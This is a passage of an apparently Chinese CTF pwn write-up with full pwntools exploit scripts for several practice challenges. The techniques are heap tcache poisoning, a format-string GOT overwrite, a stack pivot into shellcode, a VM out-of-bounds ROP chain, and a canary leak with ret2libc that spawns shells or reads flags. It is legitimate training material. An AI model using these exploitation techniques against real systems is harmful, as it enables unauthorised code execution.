add(7, 0x90, b"a")
add(8, 0x90, b"a")
add(9, 0x90, b"a")
for i in range(7):
delete(i)
delete(7)
delete(8)
show(7)
# debug()
libc_base = uru64() - 0x1E4CA0
leak("libc_base")
free_hook = libc_os(libc.symbols["__free_hook"])
system = libc_os(libc.symbols["system"])
# debug()
add(10, 0x90, b"a")
delete(8)
# debug()
payload = b"a" * 0x90 + p64(0) + p64(0xA1) + p64(free_hook)
add(11, 0xB0, payload)
add(12, 0x90, b"/bin/sh\x00")
add(13, 0x90, p64(system))
delete(12)
itr()
bad_box
dump 不下来,真是 caodan
网上找的脚本



from pwn import *
p = remote("challenge.bluesharkinfo.com", 29994)
context.arch = "amd64"
exit_got = 0x4033A0
backdoor = 0x40125B
payload = fmtstr_payload(8, {exit_got: backdoor},write_size='byte')
payload=payload.ljust(50,b'\x00')
p.recvuntil('un\n')
p.send(payload)
p.interactive()
baby_stack
大概修复一下程序逻辑

在 init 里面分配了一段内存,有 rwx 权限

然后往那段内存中读入 16 字节。下面还给了 pie 和栈地址

最后有栈溢出

不过藏东西了,这里加了个类 canary 检测的功能,不过检测的是返回地址的最低一个字节有没有被改变,但是前面给了 pie,所以没什么所谓,而且只有这个函数没有 canary,大概体现在其他函数都是 return v4 - __readfsqword(0x28u); 但这个函数是 return 0,canary 检测逻辑也没被调用

最后这里走返回地址没被改变的分支的话有两个 leave ret,所以把 rbp 覆盖成 0x114514000 就能把栈迁移到那边去

然后我们在第一次输入 8 字节 shellcode + shellcode 地址即可
code = [
b"\x54", # push rsp
b"\x5e", # pop rsi
b"\x48\x83\xee\x10", # sub rsi,0x10
b"\x0f\x05", # syscall
]
raw = b"".join(code)
raw += p64(0x114514000)
寄存器状态如下

造个 read 继续写 shellcode 就行
from pwn import *
context(arch='amd64',log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/baby_stack'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF(file)
choice = 0x00
if choice:
port= 00000
local = 'challenge.bluesharkinfo.com'
p = remote(local,port)
else:
p = process(file)
s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
cmd = '''
b *$rebase(0x000000000000171c)
'''
debug(cmd)
code = [
b"\x54", # push rsp
b"\x5e", # pop rsi
b"\x48\x83\xee\x10", # sub rsi,0x10
b"\x0f\x05", # syscall
]
raw = b"".join(code)
raw += p64(0x114514000)
s(raw)
ru('GIFT?\n')
main = uu64(rl()[:-1].ljust(8,b'\x00'))
leak('main')
elf_base = main - 0x000000000000184F
leak('elf_base')
stack = uu64(rl()[:-1].ljust(8,b'\x00'))
leak('stack')
pause()
payload = b'a'*(0x110) + p64(0x114514000) + p64(elf_base + 0x000000000000189B)
sl(payload)
pause()
shellcode = b'\x90'*0x10 + asm(shellcraft.cat("/flag"))
s(shellcode)
itr()
my_vm
沙箱
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

实现了这些功能
| **Opcode** | **伪代码 / 汇编助记符** | **功能描述** | **对应 C 代码** |
| **0** | `ADD reg[dst], reg[src2], reg[src1]` | **加法**: 将两个寄存器相加存入目标 | `reg[ptr[1]] = reg[ptr[3]] + reg[ptr[2]]` |
| **1** | `SUB reg[dst], reg[src1], reg[src2]` | **减法**: src1 减 src2 存入目标 | `reg[ptr[1]] = reg[ptr[2]] - reg[ptr[3]]` |
| **2** | `MUL reg[dst], reg[src1], reg[src2]` | **乘法**: 两个寄存器相乘 | `reg[ptr[1]] = reg[ptr[2]] * reg[ptr[3]]` |
| **3** | `DIV reg[dst], reg[src1], reg[src2]` | **除法**: src1 除以 src2 | `reg[ptr[1]] = reg[ptr[2]] / reg[ptr[3]]` |
| **4** | `SHL reg[dst], reg[src1], reg[src2]` | **左移**: src1 左移 src2 位 | `reg[ptr[1]] = reg[ptr[2]] << reg[ptr[3]]` |
| **5** | `SHR reg[dst], reg[src1], reg[src2]` | **右移**: src1 右移 src2 位 | `reg[ptr[1]] = reg[ptr[2]] >> reg[ptr[3]]` |
| **6** | `XOR reg[dst], reg[src2], reg[src1]` | **异或**: 两个寄存器按位异或 | `reg[ptr[1]] = reg[ptr[3]] ^ reg[ptr[2]]` |
| **7** | `PUSH reg[dst]` | **入栈**: 将寄存器值压入栈 | `v9[v6++] = reg[ptr[1]]` |
| **8** | `POP reg[dst]` | **出栈**: 将栈顶值弹出至寄存器 | `if(!v6) exit; reg[ptr[1]] = v9[--v6]` |
| 9 | - | ret | - |
其中没有检测下标,所以可以向上溢出,把 stderr push 出来再 pop 回去,这样就能拿到 libc

效果大概是这样

然后自己除以自己搞一个 1 出来,这样方便我们用左移和加法来构造任意数字。直接让 ai 整合一下功能,再把 orw 的 rop 链所需要的地址都放到 reg 里面,一直 push 就能让这个自己的"rsp"走到原本的返回地址处,中间还需要记录一个栈地址和 canary,栈地址用来存放 /flag 字符串
from pwn import *
context(arch='amd64',log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/vmm/vm'
libc = ELF('/mnt/c/Users/Z2023/Desktop/vmm/libc.so.6')
elf=ELF(file)
choice = 0x00
if choice:
port= 00000
local = 'challenge.bluesharkinfo.com'
p = remote(local,port)
else:
p = process(file)
s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
class VMAssembler:
def __init__(self):
pass
def _encode(self, opcode, dst, src1=0, src2=0):
"""
内部函数:将指令打包成 64 位整数
映射关系根据 C 代码 ret_code 函数逻辑:
Byte 0 (LSB) -> Opcode (ptr[0])
Byte 1 -> Dst Index (ptr[1])
Byte 2 -> Src1 Index (ptr[2])
Byte 3 -> Src2 Index (ptr[3])
"""
opcode &= 0xFF
dst &= 0xFF
src1 &= 0xFF
src2 &= 0xFF
payload = opcode | (dst << 8) | (src1 << 16) | (src2 << 24)
return payload
def add(self, dst_idx, src1_idx, src2_idx):
"""Case 0: reg[dst] = reg[src2] + reg[src1]"""
return self._encode(0, dst_idx, src1_idx, src2_idx)
def sub(self, dst_idx, src1_idx, src2_idx):
"""Case 1: reg[dst] = reg[src1] - reg[src2]"""
return self._encode(1, dst_idx, src1_idx, src2_idx)
def mul(self, dst_idx, src1_idx, src2_idx):
"""Case 2: reg[dst] = reg[src1] * reg[src2]"""
return self._encode(2, dst_idx, src1_idx, src2_idx)
def div(self, dst_idx, src1_idx, src2_idx):
"""Case 3: reg[dst] = reg[src1] / reg[src2]"""
return self._encode(3, dst_idx, src1_idx, src2_idx)
def shl(self, dst_idx, src1_idx, src2_idx):
"""Case 4: reg[dst] = reg[src1] << reg[src2]"""
return self._encode(4, dst_idx, src1_idx, src2_idx)
def shr(self, dst_idx, src1_idx, src2_idx):
"""Case 5: reg[dst] = reg[src1] >> reg[src2]"""
return self._encode(5, dst_idx, src1_idx, src2_idx)
def xor(self, dst_idx, src1_idx, src2_idx):
"""Case 6: reg[dst] = reg[src2] ^ reg[src1]"""
return self._encode(6, dst_idx, src1_idx, src2_idx)
def push(self, src_idx):
"""Case 7: stack_push(reg[src])"""
return self._encode(7, src_idx, 0, 0)
def pop(self, dst_idx):
"""Case 8: reg[dst] = stack_pop()"""
return self._encode(8, dst_idx, 0, 0)
def get_negative_index(self, offset):
return (offset + 256) % 256
def generate_number_payload(vm, target_num, res_reg=0, one_reg=1):
"""
vm: VMAssembler 实例
target_num: 要生成的数字 (例如 0x21b6a0)
res_reg: 存放结果的寄存器索引
one_reg: 存放常数 1 的寄存器索引
"""
payloads = []
# 1. 清空结果寄存器: reg[res_reg] = reg[res_reg] ^ reg[res_reg] => 0
payloads.append(vm.xor(res_reg, res_reg, res_reg))
# 转为二进制字符串,去掉 '0b' 前缀
bin_str = bin(target_num)[2:]
# 2. 遍历二进制位
for char in bin_str:
# 每次循环先左移一位: reg[res] = reg[res] << reg[one] (即 << 1)
# 注意:VM的SHL指令是: reg[dst] = reg[src1] << reg[src2]
payloads.append(vm.shl(res_reg, res_reg, one_reg))
# 如果当前位是 '1',则加 1
if char == '1':
# reg[res] = reg[res] + reg[one]
payloads.append(vm.add(res_reg, res_reg, one_reg))
return payloads
vm = VMAssembler()
cmd = '''
b *$rebase(0x0000000000000C9A)
b *$rebase(0x0000000000001044)
'''
stderr_offset = 0x21b6a0
code_list = [
vm.push(vm.get_negative_index(-4)),
vm.push(vm.get_negative_index(-4)),
vm.pop(0),
vm.pop(1),
vm.div(2,0,0)
]
code_list += generate_number_payload(vm, stderr_offset, 3, 2)
code_list.append(vm.sub(1,1,3))
# debug()
rdi = 0x000000000002a3e5
code_list += generate_number_payload(vm, rdi, 5, 2)
code_list.append(vm.add(5,1,5))
rsi = 0x000000000002be51
code_list += generate_number_payload(vm, rsi, 6, 2)
code_list.append(vm.add(6,1,6))
rdx_rbx = 0x00000000000904a9
code_list += generate_number_payload(vm, rdx_rbx, 7, 2)
code_list.append(vm.add(7,1,7))
r = libc.sym['read']
code_list += generate_number_payload(vm, r, 8, 2)
code_list.append(vm.add(8,1,8))
o = libc.sym['open']
code_list += generate_number_payload(vm, o, 9, 2)
code_list.append(vm.add(9,1,9))
w = libc.sym['write']
code_list += generate_number_payload(vm, w, 10, 2)
code_list.append(vm.add(10,1,10))
for j in range(0x19):
code_list.append(vm.push(2))
code_list.append(vm.pop(11))
code_list.append(vm.push(2))
stack_offset = 0x328
code_list += generate_number_payload(vm, stack_offset, 3, 2)
code_list.append(vm.add(11,11,3))
flag = 0x67616c662f
code_list += generate_number_payload(vm, flag, 12, 2)
code_list.append(vm.push(12))
for j in range(0x200-0x19):
code_list.append(vm.push(2))
# canary & padding
code_list += [
vm.pop(4),
vm.push(4),
vm.push(4),
vm.push(4)
]
# open('/flag',0)
code_list += [
vm.push(5),
vm.push(11),
vm.push(6),
vm.push(13),
vm.add(0,2,2),
vm.add(0,0,2),
vm.push(9)
]
# read(3,stack,0x328)
code_list += [
vm.push(5),
vm.push(0),
vm.push(6),
vm.push(11),
vm.push(7),
vm.push(3),
vm.push(3),
vm.push(8)
]
# write(1,stack,0x328)
code_list += [
vm.push(5),
vm.push(2),
vm.push(6),
vm.push(11),
vm.push(7),
vm.push(3),
vm.push(3),
vm.push(10)
]
for i in code_list:
sleep(0.05)
sl(str(i))
debug()
sl('9')
itr()
heap?
堆上格式化字符串漏洞 + 栈溢出


from pwn import *
context(arch='amd64',log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/heap_/pwn'
libc = ELF('/mnt/c/Users/Z2023/Desktop/heap_/libc.so.6')
elf=ELF(file)
choice = 0x00
if choice:
port= 22382
local = 'challenge.bluesharkinfo.com'
p = remote(local,port)
else:
p = process(file)
s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
def malloc(length, content):
sla(b'> ', b'1')
sla(b'> ', str(length).encode())
sa(b'> ', content)
ru(b'OK!')
def free(content):
# content = str(index).encode() + b'\x00'
sla(b'> ', b'2')
sa(b'> ', p64(len(content)))
s(content)
def show(index):
sla(b'> ', b'3')
sla(b'> ', str(index).encode())
def ret():
sla(b'> ', b'4')
cmd = '''
b *$rebase(0x0000000000001682)
b *$rebase(0x000000000000162D)
b *$rebase(0x0000000000001469)
'''
debug(cmd)
malloc(0x28,b'%7$p%8$p%13$p')
show(0)
ru('0x')
canary = int(r(16),16)
leak('canary')
ru('0x')
stack = int(r(12),16) - 0x58 + 0x100
leak('stack')
ru('0x')
libc.address = libc_base = int(r(12),16) - 0x29d90
leak('libc_base')
o = libc.sym['open']
r = libc.sym['read']
w = libc.sym['write']
rdi = libc_os(0x000000000002a3e5)
rsi = libc_os(0x000000000002be51)
rdx_r12 = libc_os(0x000000000011f357)
payload = b'a'*(0x10) + p64(canary) + p64(stack)
payload += flat(
rdi, stack , rsi , 0 , o,
rdi, 3 , rsi, stack-0x20 , rdx_r12 , 0x20 , 0x20 , r,
rdi, 1, rsi, stack-0x20 , rdx_r12 , 0x20 , 0x20 , w,
)
payload = payload.ljust(0x100,b'\x00')
payload += b'/flag\x00\x00\x00'
free(payload)
itr()
金丝雀的诱惑
泄露 canary,然后简单 ret2libc,在第二次返回函数那里卡了好久,应该可以返回 vuln,只不过需要丢掉 push rbp
from pwn import *
import os
base_dir = os.path.dirname(os.path.abspath(__file__))
os.chdir(base_dir)
print("当前工作目录:", os.getcwd())
context(arch="amd64", os="linux")
context.log_level = "debug"
file = "./pwn"
elf = ELF(file)
libc = ELF("./libc.so.6")
choice = 1
if choice:
port = 28133
target = "challenge.bluesharkinfo.com"
p = remote(target, port)
else:
p = process(file)
def debug(cmd=""):
if choice == 1:
return
gdb.attach(p, gdbscript=cmd)
def get_sb():
return libc_base + libc.sym["system"], libc_base + next(libc.search(b"/bin/sh\x00"))
libc_base = b"fake_libc_base"
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
sa = lambda x, data: p.sendafter(x, data)
sla = lambda x, data: p.sendlineafter(x, data)
r = lambda num=4096: p.recv(num)
rl = lambda num=4096: p.recvline(num)
ru = lambda x: p.recvuntil(x)
itr = lambda: p.interactive()
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
uru64 = lambda: uu64(ru("\x7f")[-6:])
leak = lambda name: log.success("{} = {}".format(name, hex(eval(name))))
libc_os = lambda x: libc_base + x
gs = """
b *0x401429
b *0x401474
"""
ru(">>\n")
payload = b"a" * (0x150 - 8) + b"A"
s(payload)
ru("A")
canary = uu64(b"\x00" + r(7))
leak("canary")
ru(">>\n")
payload = b"a" * (0x110 - 8) + p64(canary) + p64(0) + p64(0x401110)
# debug()
s(payload)
ru("name >>")
payload = b"b" * (0x150) + b"a" * 8
s(payload)
addr = uru64()
leak("addr")
libc_base = addr - 0x94AC3
system, binsh = get_sb()
rdi = libc_os(0x000000000002A3E5)
ret = libc_os(0x0000000000029139)
ru(">>\n")
payload = (
(0x110 - 8) * b"a"
+ p64(canary)
+ p64(0)
+ p64(ret)
+ p64(rdi)
+ p64(binsh)
+ p64(system)
)
s(payload)
itr()

浙公网安备 33010602011771号